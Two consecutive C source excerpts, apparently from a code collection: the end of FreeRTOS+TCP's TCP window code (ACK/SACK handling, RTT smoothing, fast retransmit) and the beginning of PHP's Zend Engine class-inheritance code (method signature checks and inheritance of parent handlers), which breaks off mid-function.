the flag. */ pxSegment->u.bits.bAcked = pdTRUE_UNSIGNED; /* Calculate the RTT only if the segment was sent-out for the first time and if this is the last ACK'd segment in a range. */ if( ( pxSegment->u.bits.ucTransmitCount == 1 ) && ( ( pxSegment->ulSequenceNumber + ulDataLength ) == ulLast ) ) { int32_t mS = ( int32_t ) ulTimerGetAge( &( pxSegment->xTransmitTimer ) ); if( pxWindow->lSRTT >= mS ) { /* RTT becomes smaller: adapt slowly. */ pxWindow->lSRTT = ( ( winSRTT_DECREMENT_NEW * mS ) + ( winSRTT_DECREMENT_CURRENT * pxWindow->lSRTT ) ) / ( winSRTT_DECREMENT_NEW + winSRTT_DECREMENT_CURRENT ); } else { /* RTT becomes larger: adapt quicker */ pxWindow->lSRTT = ( ( winSRTT_INCREMENT_NEW * mS ) + ( winSRTT_INCREMENT_CURRENT * pxWindow->lSRTT ) ) / ( winSRTT_INCREMENT_NEW + winSRTT_INCREMENT_CURRENT ); } /* Cap to the minimum of 50ms. */ if( pxWindow->lSRTT < winSRTT_CAP_mS ) { pxWindow->lSRTT = winSRTT_CAP_mS; } } /* Unlink it from the 3 queues, but do not destroy it (yet). */ xDoUnlink = pdTRUE; } /* pxSegment->u.bits.bAcked is now true. Is it located at the left side of the transmission queue? If so, it may be freed. */ if( ulSequenceNumber == pxWindow->tx.ulCurrentSequenceNumber ) { if( ( xTCPWindowLoggingLevel >= 2 ) && ( ipconfigTCP_MAY_LOG_PORT( pxWindow->usOurPortNumber ) != pdFALSE ) ) { FreeRTOS_debug_printf( ( "prvTCPWindowTxCheckAck: %lu - %lu Ready sequence number %lu\n", ulFirst - pxWindow->tx.ulFirstSequenceNumber, ulLast - pxWindow->tx.ulFirstSequenceNumber, pxSegment->ulSequenceNumber - pxWindow->tx.ulFirstSequenceNumber ) ); } /* Increase the left-hand value of the transmission window. */ pxWindow->tx.ulCurrentSequenceNumber += ulDataLength; /* This function will return the number of bytes that the tail of txStream may be advanced. */ ulBytesConfirmed += ulDataLength; /* All segments below tx.ulCurrentSequenceNumber may be freed. */ vTCPWindowFree( pxSegment ); /* No need to unlink it any more. */ xDoUnlink = pdFALSE; } if( ( xDoUnlink != pdFALSE ) && ( listLIST_ITEM_CONTAINER( &( pxSegment->xQueueItem ) ) != NULL ) ) { /* Remove item from its queues. */ uxListRemove( &pxSegment->xQueueItem ); } ulSequenceNumber += ulDataLength; } return ulBytesConfirmed; } #endif /* ipconfigUSE_TCP_WIN == 1 */ /*-----------------------------------------------------------*/ #if( ipconfigUSE_TCP_WIN == 1 ) static uint32_t prvTCPWindowFastRetransmit( TCPWindow_t *pxWindow, uint32_t ulFirst ) { const ListItem_t *pxIterator; const MiniListItem_t* pxEnd; TCPSegment_t *pxSegment; uint32_t ulCount = 0UL; /* A higher Tx block has been acknowledged. Now iterate through the xWaitQueue to find a possible condition for a FAST retransmission. */ pxEnd = ( const MiniListItem_t* ) listGET_END_MARKER( &( pxWindow->xWaitQueue ) ); for( pxIterator = ( const ListItem_t * ) listGET_NEXT( pxEnd ); pxIterator != ( const ListItem_t * ) pxEnd; ) { /* Get the owner, which is a TCP segment. */ pxSegment = ( TCPSegment_t * ) listGET_LIST_ITEM_OWNER( pxIterator ); /* Hop to the next item before the current gets unlinked. */ pxIterator = ( const ListItem_t * ) listGET_NEXT( pxIterator ); /* Fast retransmission: When 3 packets with a higher sequence number have been acknowledged by the peer, it is very unlikely a current packet will ever arrive. It will be retransmitted far before the RTO. */ if( ( pxSegment->u.bits.bAcked == pdFALSE_UNSIGNED ) && ( xSequenceLessThan( pxSegment->ulSequenceNumber, ulFirst ) != pdFALSE ) && ( ++( pxSegment->u.bits.ucDupAckCount ) == DUPLICATE_ACKS_BEFORE_FAST_RETRANSMIT ) ) { pxSegment->u.bits.ucTransmitCount = pdFALSE_UNSIGNED; /* Not clearing 'ucDupAckCount' yet as more SACK's might come in which might lead to a second fast rexmit. */ if( ( xTCPWindowLoggingLevel >= 0 ) && ( ipconfigTCP_MAY_LOG_PORT( pxWindow->usOurPortNumber ) != pdFALSE ) ) { FreeRTOS_debug_printf( ( "prvTCPWindowFastRetransmit: Requeue sequence number %lu < %lu\n", pxSegment->ulSequenceNumber - pxWindow->tx.ulFirstSequenceNumber, ulFirst - pxWindow->tx.ulFirstSequenceNumber ) ); FreeRTOS_flush_logging( ); } /* Remove it from xWaitQueue. */ uxListRemove( &pxSegment->xQueueItem ); /* Add this segment to the priority queue so it gets retransmitted immediately. */ vListInsertFifo( &( pxWindow->xPriorityQueue ), &( pxSegment->xQueueItem ) ); ulCount++; } } return ulCount; } #endif /* ipconfigUSE_TCP_WIN == 1 */ /*-----------------------------------------------------------*/ #if( ipconfigUSE_TCP_WIN == 1 ) uint32_t ulTCPWindowTxAck( TCPWindow_t *pxWindow, uint32_t ulSequenceNumber ) { uint32_t ulFirstSequence, ulReturn; /* Receive a normal ACK. */ ulFirstSequence = pxWindow->tx.ulCurrentSequenceNumber; if( xSequenceLessThanOrEqual( ulSequenceNumber, ulFirstSequence ) != pdFALSE ) { ulReturn = 0UL; } else { ulReturn = prvTCPWindowTxCheckAck( pxWindow, ulFirstSequence, ulSequenceNumber ); } return ulReturn; } #endif /* ipconfigUSE_TCP_WIN == 1 */ /*-----------------------------------------------------------*/ #if( ipconfigUSE_TCP_WIN == 1 ) uint32_t ulTCPWindowTxSack( TCPWindow_t *pxWindow, uint32_t ulFirst, uint32_t ulLast ) { uint32_t ulAckCount = 0UL; uint32_t ulCurrentSequenceNumber = pxWindow->tx.ulCurrentSequenceNumber; /* Receive a SACK option. */ ulAckCount = prvTCPWindowTxCheckAck( pxWindow, ulFirst, ulLast ); prvTCPWindowFastRetransmit( pxWindow, ulFirst ); if( ( xTCPWindowLoggingLevel >= 1 ) && ( xSequenceGreaterThan( ulFirst, ulCurrentSequenceNumber ) != pdFALSE ) ) { FreeRTOS_debug_printf( ( "ulTCPWindowTxSack[%u,%u]: from %lu to %lu (ack = %lu)\n", pxWindow->usPeerPortNumber, pxWindow->usOurPortNumber, ulFirst - pxWindow->tx.ulFirstSequenceNumber, ulLast - pxWindow->tx.ulFirstSequenceNumber, pxWindow->tx.ulCurrentSequenceNumber - pxWindow->tx.ulFirstSequenceNumber ) ); FreeRTOS_flush_logging( ); } return ulAckCount; } #endif /* ipconfigUSE_TCP_WIN == 1 */ /*-----------------------------------------------------------*/ /* ##### # ##### #### ###### # # # # # # # # # # # # # # # # # # ### ##### # # # # # # # # # # # # # # ##### # # # # # # #### # # # # # # # # # # # # # # # # # #### # # # # #### ##### # # # #### #### #### # ### */ #if( ipconfigUSE_TCP_WIN == 0 ) int32_t lTCPWindowRxCheck( TCPWindow_t *pxWindow, uint32_t ulSequenceNumber, uint32_t ulLength, uint32_t ulSpace ) { int32_t iReturn; /* Data was received at 'ulSequenceNumber'. See if it was expected and if there is enough space to store the new data. */ if( ( pxWindow->rx.ulCurrentSequenceNumber != ulSequenceNumber ) || ( ulSpace < ulLength ) ) { iReturn = -1; } else { pxWindow->rx.ulCurrentSequenceNumber += ( uint32_t ) ulLength; iReturn = 0; } return iReturn; } #endif /* ipconfigUSE_TCP_WIN == 0 */ /*-----------------------------------------------------------*/ #if( ipconfigUSE_TCP_WIN == 0 ) int32_t lTCPWindowTxAdd( TCPWindow_t *pxWindow, uint32_t ulLength, int32_t lPosition, int32_t lMax ) { TCPSegment_t *pxSegment = &( pxWindow->xTxSegment ); int32_t lResult; /* Data is being scheduled for transmission. */ /* lMax would indicate the size of the txStream. */ ( void ) lMax; /* This is tiny TCP: there is only 1 segment for outgoing data. As long as 'lDataLength' is unequal to zero, the segment is still occupied. */ if( pxSegment->lDataLength > 0 ) { lResult = 0L; } else { if( ulLength > ( uint32_t ) pxSegment->lMaxLength ) { if( ( xTCPWindowLoggingLevel != 0 ) && ( ipconfigTCP_MAY_LOG_PORT( pxWindow->usOurPortNumber ) != pdFALSE ) ) { FreeRTOS_debug_printf( ( "lTCPWindowTxAdd: can only store %ld / %ld bytes\n", ulLength, pxSegment->lMaxLength ) ); } ulLength = ( uint32_t ) pxSegment->lMaxLength; } if( ( xTCPWindowLoggingLevel != 0 ) && ( ipconfigTCP_MAY_LOG_PORT( pxWindow->usOurPortNumber ) != pdFALSE ) ) { FreeRTOS_debug_printf( ( "lTCPWindowTxAdd: SeqNr %ld (%ld) Len %ld\n", pxWindow->ulNextTxSequenceNumber - pxWindow->tx.ulFirstSequenceNumber, pxWindow->tx.ulCurrentSequenceNumber - pxWindow->tx.ulFirstSequenceNumber, ulLength ) ); } /* The sequence number of the first byte in this packet. */ pxSegment->ulSequenceNumber = pxWindow->ulNextTxSequenceNumber; pxSegment->lDataLength = ( int32_t ) ulLength; pxSegment->lStreamPos = lPosition; pxSegment->u.ulFlags = 0UL; vTCPTimerSet( &( pxSegment->xTransmitTimer ) ); /* Increase the sequence number of the next data to be stored for transmission. */ pxWindow->ulNextTxSequenceNumber += ulLength; lResult = ( int32_t )ulLength; } return lResult; } #endif /* ipconfigUSE_TCP_WIN == 0 */ /*-----------------------------------------------------------*/ #if( ipconfigUSE_TCP_WIN == 0 ) uint32_t ulTCPWindowTxGet( TCPWindow_t *pxWindow, uint32_t ulWindowSize, int32_t *plPosition ) { TCPSegment_t *pxSegment = &( pxWindow->xTxSegment ); uint32_t ulLength = ( uint32_t ) pxSegment->lDataLength; uint32_t ulMaxTime; if( ulLength != 0UL ) { /* _HT_ Still under investigation */ ( void ) ulWindowSize; if( pxSegment->u.bits.bOutstanding != pdFALSE_UNSIGNED ) { /* As 'ucTransmitCount' has a minimum of 1, take 2 * RTT */ ulMaxTime = ( ( uint32_t ) 1u << pxSegment->u.bits.ucTransmitCount ) * ( ( uint32_t ) pxWindow->lSRTT ); if( ulTimerGetAge( &( pxSegment->xTransmitTimer ) ) < ulMaxTime ) { ulLength = 0ul; } } if( ulLength != 0ul ) { pxSegment->u.bits.bOutstanding = pdTRUE_UNSIGNED; pxSegment->u.bits.ucTransmitCount++; vTCPTimerSet (&pxSegment->xTransmitTimer); pxWindow->ulOurSequenceNumber = pxSegment->ulSequenceNumber; *plPosition = pxSegment->lStreamPos; } } return ulLength; } #endif /* ipconfigUSE_TCP_WIN == 0 */ /*-----------------------------------------------------------*/ #if( ipconfigUSE_TCP_WIN == 0 ) BaseType_t xTCPWindowTxDone( TCPWindow_t *pxWindow ) { BaseType_t xReturn; /* Has the outstanding data been sent because user wants to shutdown? */ if( pxWindow->xTxSegment.lDataLength == 0 ) { xReturn = pdTRUE; } else { xReturn = pdFALSE; } return xReturn; } #endif /* ipconfigUSE_TCP_WIN == 0 */ /*-----------------------------------------------------------*/ #if( ipconfigUSE_TCP_WIN == 0 ) static BaseType_t prvTCPWindowTxHasSpace( TCPWindow_t *pxWindow, uint32_t ulWindowSize ); static BaseType_t prvTCPWindowTxHasSpace( TCPWindow_t *pxWindow, uint32_t ulWindowSize ) { BaseType_t xReturn; if( ulWindowSize >= pxWindow->usMSSInit ) { xReturn = pdTRUE; } else { xReturn = pdFALSE; } return xReturn; } #endif /* ipconfigUSE_TCP_WIN == 0 */ /*-----------------------------------------------------------*/ #if( ipconfigUSE_TCP_WIN == 0 ) BaseType_t xTCPWindowTxHasData( TCPWindow_t *pxWindow, uint32_t ulWindowSize, TickType_t *pulDelay ) { TCPSegment_t *pxSegment = &( pxWindow->xTxSegment ); BaseType_t xReturn; TickType_t ulAge, ulMaxAge; /* Check data to be sent. */ *pulDelay = ( TickType_t ) 0; if( pxSegment->lDataLength == 0 ) { /* Got nothing to send right now. */ xReturn = pdFALSE; } else { if( pxSegment->u.bits.bOutstanding != pdFALSE_UNSIGNED ) { ulAge = ulTimerGetAge ( &pxSegment->xTransmitTimer ); ulMaxAge = ( ( TickType_t ) 1u << pxSegment->u.bits.ucTransmitCount ) * ( ( uint32_t ) pxWindow->lSRTT ); if( ulMaxAge > ulAge ) { *pulDelay = ulMaxAge - ulAge; } xReturn = pdTRUE; } else if( prvTCPWindowTxHasSpace( pxWindow, ulWindowSize ) == pdFALSE ) { /* Too many outstanding messages. */ xReturn = pdFALSE; } else { xReturn = pdTRUE; } } return xReturn; } #endif /* ipconfigUSE_TCP_WIN == 0 */ /*-----------------------------------------------------------*/ #if( ipconfigUSE_TCP_WIN == 0 ) uint32_t ulTCPWindowTxAck( TCPWindow_t *pxWindow, uint32_t ulSequenceNumber ) { TCPSegment_t *pxSegment = &( pxWindow->xTxSegment ); uint32_t ulDataLength = ( uint32_t ) pxSegment->lDataLength; /* Receive a normal ACK */ if( ulDataLength != 0ul ) { if( ulSequenceNumber < ( pxWindow->tx.ulCurrentSequenceNumber + ulDataLength ) ) { if( ipconfigTCP_MAY_LOG_PORT( pxWindow->usOurPortNumber ) != pdFALSE ) { FreeRTOS_debug_printf( ( "win_tx_ack: acked %ld expc %ld len %ld\n", ulSequenceNumber - pxWindow->tx.ulFirstSequenceNumber, pxWindow->tx.ulCurrentSequenceNumber - pxWindow->tx.ulFirstSequenceNumber, ulDataLength ) ); } /* Nothing to send right now. */ ulDataLength = 0ul; } else { pxWindow->tx.ulCurrentSequenceNumber += ulDataLength; if( ( xTCPWindowLoggingLevel != 0 ) && ( ipconfigTCP_MAY_LOG_PORT( pxWindow->usOurPortNumber ) != pdFALSE ) ) { FreeRTOS_debug_printf( ( "win_tx_ack: acked seqnr %ld len %ld\n", ulSequenceNumber - pxWindow->tx.ulFirstSequenceNumber, ulDataLength ) ); } pxSegment->lDataLength = 0; } } return ulDataLength; } #endif /* ipconfigUSE_TCP_WIN == 0 */ /*-----------------------------------------------------------*/ #if( ipconfigUSE_TCP_WIN == 0 ) BaseType_t xTCPWindowRxEmpty( TCPWindow_t *pxWindow ) { /* Return true if 'ulCurrentSequenceNumber >= ulHighestSequenceNumber' 'ulCurrentSequenceNumber' is the highest sequence number stored, 'ulHighestSequenceNumber' is the highest sequence number seen. */ return xSequenceGreaterThanOrEqual( pxWindow->rx.ulCurrentSequenceNumber, pxWindow->rx.ulHighestSequenceNumber ); } #endif /* ipconfigUSE_TCP_WIN == 0 */ /*-----------------------------------------------------------*/ #if( ipconfigUSE_TCP_WIN == 0 ) /* Destroy a window (always returns NULL) */ void vTCPWindowDestroy( TCPWindow_t *pxWindow ) { /* As in tiny TCP there are no shared segments descriptors, there is nothing to release. */ ( void ) pxWindow; } #endif /* ipconfigUSE_TCP_WIN == 0 */ /*-----------------------------------------------------------*/
652539.c
/* +----------------------------------------------------------------------+ | Zend Engine | +----------------------------------------------------------------------+ | Copyright (c) 1998-2016 Zend Technologies Ltd. (http://www.zend.com) | +----------------------------------------------------------------------+ | This source file is subject to version 2.00 of the Zend license, | | that is bundled with this package in the file LICENSE, and is | | available through the world-wide-web at the following url: | | http://www.zend.com/license/2_00.txt. | | If you did not receive a copy of the Zend license and are unable to | | obtain it through the world-wide-web, please send a note to | | [email protected] so we can mail you a copy immediately. | +----------------------------------------------------------------------+ | Authors: Andi Gutmans <[email protected]> | | Zeev Suraski <[email protected]> | +----------------------------------------------------------------------+ */ #include "zend.h" #include "zend_API.h" #include "zend_compile.h" #include "zend_execute.h" #include "zend_inheritance.h" #include "zend_smart_str.h" #include "zend_inheritance.h" static void overriden_ptr_dtor(zval *zv) /* {{{ */ { efree_size(Z_PTR_P(zv), sizeof(zend_function)); } /* }}} */ static zend_property_info *zend_duplicate_property_info(zend_property_info *property_info) /* {{{ */ { zend_property_info* new_property_info; new_property_info = zend_arena_alloc(&CG(arena), sizeof(zend_property_info)); memcpy(new_property_info, property_info, sizeof(zend_property_info)); zend_string_addref(new_property_info->name); if (new_property_info->doc_comment) { zend_string_addref(new_property_info->doc_comment); } return new_property_info; } /* }}} */ static zend_property_info *zend_duplicate_property_info_internal(zend_property_info *property_info) /* {{{ */ { zend_property_info* new_property_info = pemalloc(sizeof(zend_property_info), 1); memcpy(new_property_info, property_info, sizeof(zend_property_info)); zend_string_addref(new_property_info->name); return new_property_info; } /* }}} */ static zend_function *zend_duplicate_function(zend_function *func, zend_class_entry *ce) /* {{{ */ { zend_function *new_function; if (UNEXPECTED(func->type == ZEND_INTERNAL_FUNCTION)) { if (UNEXPECTED(ce->type & ZEND_INTERNAL_CLASS)) { new_function = pemalloc(sizeof(zend_internal_function), 1); memcpy(new_function, func, sizeof(zend_internal_function)); } else { new_function = zend_arena_alloc(&CG(arena), sizeof(zend_internal_function)); memcpy(new_function, func, sizeof(zend_internal_function)); new_function->common.fn_flags |= ZEND_ACC_ARENA_ALLOCATED; } if (EXPECTED(new_function->common.function_name)) { zend_string_addref(new_function->common.function_name); } } else { if (func->op_array.refcount) { (*func->op_array.refcount)++; } if (EXPECTED(!func->op_array.static_variables)) { /* reuse the same op_array structure */ return func; } if (!(GC_FLAGS(func->op_array.static_variables) & IS_ARRAY_IMMUTABLE)) { GC_REFCOUNT(func->op_array.static_variables)++; } new_function = zend_arena_alloc(&CG(arena), sizeof(zend_op_array)); memcpy(new_function, func, sizeof(zend_op_array)); } return new_function; } /* }}} */ static void do_inherit_parent_constructor(zend_class_entry *ce) /* {{{ */ { ZEND_ASSERT(ce->parent != NULL); /* You cannot change create_object */ ce->create_object = ce->parent->create_object; /* Inherit special functions if needed */ if (EXPECTED(!ce->get_iterator)) { ce->get_iterator = ce->parent->get_iterator; } if (EXPECTED(!ce->iterator_funcs.funcs)) { ce->iterator_funcs.funcs = ce->parent->iterator_funcs.funcs; } if (EXPECTED(!ce->__get)) { ce->__get = ce->parent->__get; } if (EXPECTED(!ce->__set)) { ce->__set = ce->parent->__set; } if (EXPECTED(!ce->__unset)) { ce->__unset = ce->parent->__unset; } if (EXPECTED(!ce->__isset)) { ce->__isset = ce->parent->__isset; } if (EXPECTED(!ce->__call)) { ce->__call = ce->parent->__call; } if (EXPECTED(!ce->__callstatic)) { ce->__callstatic = ce->parent->__callstatic; } if (EXPECTED(!ce->__tostring)) { ce->__tostring = ce->parent->__tostring; } if (EXPECTED(!ce->clone)) { ce->clone = ce->parent->clone; } if (EXPECTED(!ce->serialize)) { ce->serialize = ce->parent->serialize; } if (EXPECTED(!ce->unserialize)) { ce->unserialize = ce->parent->unserialize; } if (!ce->destructor) { ce->destructor = ce->parent->destructor; } if (EXPECTED(!ce->__debugInfo)) { ce->__debugInfo = ce->parent->__debugInfo; } if (ce->constructor) { if (ce->parent->constructor && UNEXPECTED(ce->parent->constructor->common.fn_flags & ZEND_ACC_FINAL)) { zend_error_noreturn(E_ERROR, "Cannot override final %s::%s() with %s::%s()", ZSTR_VAL(ce->parent->name), ZSTR_VAL(ce->parent->constructor->common.function_name), ZSTR_VAL(ce->name), ZSTR_VAL(ce->constructor->common.function_name)); } return; } ce->constructor = ce->parent->constructor; } /* }}} */ char *zend_visibility_string(uint32_t fn_flags) /* {{{ */ { if (fn_flags & ZEND_ACC_PRIVATE) { return "private"; } if (fn_flags & ZEND_ACC_PROTECTED) { return "protected"; } if (fn_flags & ZEND_ACC_PUBLIC) { return "public"; } return ""; } /* }}} */ static int zend_do_perform_type_hint_check(const zend_function *fe, zend_arg_info *fe_arg_info, const zend_function *proto, zend_arg_info *proto_arg_info) /* {{{ */ { if (ZEND_LOG_XOR(fe_arg_info->class_name, proto_arg_info->class_name)) { /* Only one has a type declaration and the other one doesn't */ return 0; } if (fe_arg_info->class_name) { zend_string *fe_class_name, *proto_class_name; const char *class_name; if (fe->type == ZEND_INTERNAL_FUNCTION) { fe_class_name = NULL; class_name = ((zend_internal_arg_info*)fe_arg_info)->class_name; } else { fe_class_name = fe_arg_info->class_name; class_name = ZSTR_VAL(fe_arg_info->class_name); } if (!strcasecmp(class_name, "parent") && proto->common.scope) { fe_class_name = zend_string_copy(proto->common.scope->name); } else if (!strcasecmp(class_name, "self") && fe->common.scope) { fe_class_name = zend_string_copy(fe->common.scope->name); } else if (fe_class_name) { zend_string_addref(fe_class_name); } else { fe_class_name = zend_string_init(class_name, strlen(class_name), 0); } if (proto->type == ZEND_INTERNAL_FUNCTION) { proto_class_name = NULL; class_name = ((zend_internal_arg_info*)proto_arg_info)->class_name; } else { proto_class_name = proto_arg_info->class_name; class_name = ZSTR_VAL(proto_arg_info->class_name); } if (!strcasecmp(class_name, "parent") && proto->common.scope && proto->common.scope->parent) { proto_class_name = zend_string_copy(proto->common.scope->parent->name); } else if (!strcasecmp(class_name, "self") && proto->common.scope) { proto_class_name = zend_string_copy(proto->common.scope->name); } else if (proto_class_name) { zend_string_addref(proto_class_name); } else { proto_class_name = zend_string_init(class_name, strlen(class_name), 0); } if (strcasecmp(ZSTR_VAL(fe_class_name), ZSTR_VAL(proto_class_name)) != 0) { if (fe->common.type != ZEND_USER_FUNCTION) { zend_string_release(proto_class_name); zend_string_release(fe_class_name); return 0; } else { zend_class_entry *fe_ce, *proto_ce; fe_ce = zend_lookup_class(fe_class_name); proto_ce = zend_lookup_class(proto_class_name); /* Check for class alias */ if (!fe_ce || !proto_ce || fe_ce->type == ZEND_INTERNAL_CLASS || proto_ce->type == ZEND_INTERNAL_CLASS || fe_ce != proto_ce) { zend_string_release(proto_class_name); zend_string_release(fe_class_name); return 0; } } } zend_string_release(proto_class_name); zend_string_release(fe_class_name); } if (fe_arg_info->type_hint != proto_arg_info->type_hint) { /* Incompatible type */ return 0; } return 1; } /* }}} */ static zend_bool zend_do_perform_implementation_check(const zend_function *fe, const zend_function *proto) /* {{{ */ { uint32_t i, num_args; /* If it's a user function then arg_info == NULL means we don't have any parameters but * we still need to do the arg number checks. We are only willing to ignore this for internal * functions because extensions don't always define arg_info. */ if (!proto || (!proto->common.arg_info && proto->common.type != ZEND_USER_FUNCTION)) { return 1; } /* Checks for constructors only if they are declared in an interface, * or explicitly marked as abstract */ if ((fe->common.fn_flags & ZEND_ACC_CTOR) && ((proto->common.scope->ce_flags & ZEND_ACC_INTERFACE) == 0 && (proto->common.fn_flags & ZEND_ACC_ABSTRACT) == 0)) { return 1; } /* If the prototype method is private do not enforce a signature */ if (proto->common.fn_flags & ZEND_ACC_PRIVATE) { return 1; } /* check number of arguments */ if (proto->common.required_num_args < fe->common.required_num_args || proto->common.num_args > fe->common.num_args) { return 0; } /* by-ref constraints on return values are covariant */ if ((proto->common.fn_flags & ZEND_ACC_RETURN_REFERENCE) && !(fe->common.fn_flags & ZEND_ACC_RETURN_REFERENCE)) { return 0; } if ((proto->common.fn_flags & ZEND_ACC_VARIADIC) && !(fe->common.fn_flags & ZEND_ACC_VARIADIC)) { return 0; } /* For variadic functions any additional (optional) arguments that were added must be * checked against the signature of the variadic argument, so in this case we have to * go through all the parameters of the function and not just those present in the * prototype. */ num_args = proto->common.num_args; if (proto->common.fn_flags & ZEND_ACC_VARIADIC) { num_args++; if (fe->common.num_args >= proto->common.num_args) { num_args = fe->common.num_args; if (fe->common.fn_flags & ZEND_ACC_VARIADIC) { num_args++; } } } for (i = 0; i < num_args; i++) { zend_arg_info *fe_arg_info = &fe->common.arg_info[i]; zend_arg_info *proto_arg_info; if (i < proto->common.num_args) { proto_arg_info = &proto->common.arg_info[i]; } else { proto_arg_info = &proto->common.arg_info[proto->common.num_args]; } if (!zend_do_perform_type_hint_check(fe, fe_arg_info, proto, proto_arg_info)) { return 0; } #if 0 // This introduces BC break described at https://bugs.php.net/bug.php?id=72119 if (proto_arg_info->type_hint && proto_arg_info->allow_null && !fe_arg_info->allow_null) { /* incompatible nullability */ return 0; } #endif /* by-ref constraints on arguments are invariant */ if (fe_arg_info->pass_by_reference != proto_arg_info->pass_by_reference) { return 0; } } /* Check return type compatibility, but only if the prototype already specifies * a return type. Adding a new return type is always valid. */ if (proto->common.fn_flags & ZEND_ACC_HAS_RETURN_TYPE) { /* Removing a return type is not valid. */ if (!(fe->common.fn_flags & ZEND_ACC_HAS_RETURN_TYPE)) { return 0; } if (!zend_do_perform_type_hint_check(fe, fe->common.arg_info - 1, proto, proto->common.arg_info - 1)) { return 0; } } return 1; } /* }}} */ static ZEND_COLD void zend_append_type_hint(smart_str *str, const zend_function *fptr, zend_arg_info *arg_info, int return_hint) /* {{{ */ { if (arg_info->class_name) { const char *class_name; size_t class_name_len; if (fptr->type == ZEND_INTERNAL_FUNCTION) { class_name = ((zend_internal_arg_info*)arg_info)->class_name; class_name_len = strlen(class_name); } else { class_name = ZSTR_VAL(arg_info->class_name); class_name_len = ZSTR_LEN(arg_info->class_name); } if (!strcasecmp(class_name, "self") && fptr->common.scope) { class_name = ZSTR_VAL(fptr->common.scope->name); class_name_len = ZSTR_LEN(fptr->common.scope->name); } else if (!strcasecmp(class_name, "parent") && fptr->common.scope && fptr->common.scope->parent) { class_name = ZSTR_VAL(fptr->common.scope->parent->name); class_name_len = ZSTR_LEN(fptr->common.scope->parent->name); } smart_str_appendl(str, class_name, class_name_len); if (!return_hint) { smart_str_appendc(str, ' '); } } else if (arg_info->type_hint) { if (arg_info->type_hint == IS_LONG) { smart_str_appendl(str, "int", 3); } else if (arg_info->type_hint == _IS_BOOL) { smart_str_appendl(str, "bool", 4); } else { const char *type_name = zend_get_type_by_const(arg_info->type_hint); smart_str_appends(str, type_name); } if (!return_hint) { smart_str_appendc(str, ' '); } } } /* }}} */ static ZEND_COLD zend_string *zend_get_function_declaration(const zend_function *fptr) /* {{{ */ { smart_str str = {0}; if (fptr->op_array.fn_flags & ZEND_ACC_RETURN_REFERENCE) { smart_str_appends(&str, "& "); } if (fptr->common.scope) { /* cut off on NULL byte ... class@anonymous */ smart_str_appendl(&str, ZSTR_VAL(fptr->common.scope->name), strlen(ZSTR_VAL(fptr->common.scope->name))); smart_str_appends(&str, "::"); } smart_str_append(&str, fptr->common.function_name); smart_str_appendc(&str, '('); if (fptr->common.arg_info) { uint32_t i, num_args, required; zend_arg_info *arg_info = fptr->common.arg_info; required = fptr->common.required_num_args; num_args = fptr->common.num_args; if (fptr->common.fn_flags & ZEND_ACC_VARIADIC) { num_args++; } for (i = 0; i < num_args;) { zend_append_type_hint(&str, fptr, arg_info, 0); if (arg_info->pass_by_reference) { smart_str_appendc(&str, '&'); } if (arg_info->is_variadic) { smart_str_appends(&str, "..."); } smart_str_appendc(&str, '$'); if (arg_info->name) { if (fptr->type == ZEND_INTERNAL_FUNCTION) { smart_str_appends(&str, ((zend_internal_arg_info*)arg_info)->name); } else { smart_str_appendl(&str, ZSTR_VAL(arg_info->name), ZSTR_LEN(arg_info->name)); } } else { smart_str_appends(&str, "param"); smart_str_append_unsigned(&str, i); } if (i >= required && !arg_info->is_variadic) { smart_str_appends(&str, " = "); if (fptr->type == ZEND_USER_FUNCTION) { zend_op *precv = NULL; { uint32_t idx = i; zend_op *op = fptr->op_array.opcodes; zend_op *end = op + fptr->op_array.last; ++idx; while (op < end) { if ((op->opcode == ZEND_RECV || op->opcode == ZEND_RECV_INIT) && op->op1.num == (zend_ulong)idx) { precv = op; } ++op; } } if (precv && precv->opcode == ZEND_RECV_INIT && precv->op2_type != IS_UNUSED) { zval *zv = RT_CONSTANT(&fptr->op_array, precv->op2); if (Z_TYPE_P(zv) == IS_CONSTANT) { smart_str_append(&str, Z_STR_P(zv)); } else if (Z_TYPE_P(zv) == IS_FALSE) { smart_str_appends(&str, "false"); } else if (Z_TYPE_P(zv) == IS_TRUE) { smart_str_appends(&str, "true"); } else if (Z_TYPE_P(zv) == IS_NULL) { smart_str_appends(&str, "NULL"); } else if (Z_TYPE_P(zv) == IS_STRING) { smart_str_appendc(&str, '\''); smart_str_appendl(&str, Z_STRVAL_P(zv), MIN(Z_STRLEN_P(zv), 10)); if (Z_STRLEN_P(zv) > 10) { smart_str_appends(&str, "..."); } smart_str_appendc(&str, '\''); } else if (Z_TYPE_P(zv) == IS_ARRAY) { smart_str_appends(&str, "Array"); } else if (Z_TYPE_P(zv) == IS_CONSTANT_AST) { smart_str_appends(&str, "<expression>"); } else { zend_string *zv_str = zval_get_string(zv); smart_str_append(&str, zv_str); zend_string_release(zv_str); } } } else { smart_str_appends(&str, "NULL"); } } else if (arg_info->type_hint && arg_info->allow_null) { smart_str_appends(&str, " = NULL"); } if (++i < num_args) { smart_str_appends(&str, ", "); } arg_info++; } } smart_str_appendc(&str, ')'); if (fptr->common.fn_flags & ZEND_ACC_HAS_RETURN_TYPE) { smart_str_appends(&str, ": "); zend_append_type_hint(&str, fptr, fptr->common.arg_info - 1, 1); } smart_str_0(&str); return str.s; } /* }}} */ static void do_inheritance_check_on_method(zend_function *child, zend_function *parent) /* {{{ */ { uint32_t child_flags; uint32_t parent_flags = parent->common.fn_flags; if ((parent->common.scope->ce_flags & ZEND_ACC_INTERFACE) == 0 && parent->common.fn_flags & ZEND_ACC_ABSTRACT && parent->common.scope != (child->common.prototype ? child->common.prototype->common.scope : child->common.scope) && child->common.fn_flags & (ZEND_ACC_ABSTRACT|ZEND_ACC_IMPLEMENTED_ABSTRACT)) { zend_error_noreturn(E_COMPILE_ERROR, "Can't inherit abstract function %s::%s() (previously declared abstract in %s)", ZSTR_VAL(parent->common.scope->name), ZSTR_VAL(child->common.function_name), child->common.prototype ? ZSTR_VAL(child->common.prototype->common.scope->name) : ZSTR_VAL(child->common.scope->name)); } if (UNEXPECTED(parent_flags & ZEND_ACC_FINAL)) { zend_error_noreturn(E_COMPILE_ERROR, "Cannot override final method %s::%s()", ZEND_FN_SCOPE_NAME(parent), ZSTR_VAL(child->common.function_name)); } child_flags = child->common.fn_flags; /* You cannot change from static to non static and vice versa. */ if (UNEXPECTED((child_flags & ZEND_ACC_STATIC) != (parent_flags & ZEND_ACC_STATIC))) { if (child->common.fn_flags & ZEND_ACC_STATIC) { zend_error_noreturn(E_COMPILE_ERROR, "Cannot make non static method %s::%s() static in class %s", ZEND_FN_SCOPE_NAME(parent), ZSTR_VAL(child->common.function_name), ZEND_FN_SCOPE_NAME(child)); } else { 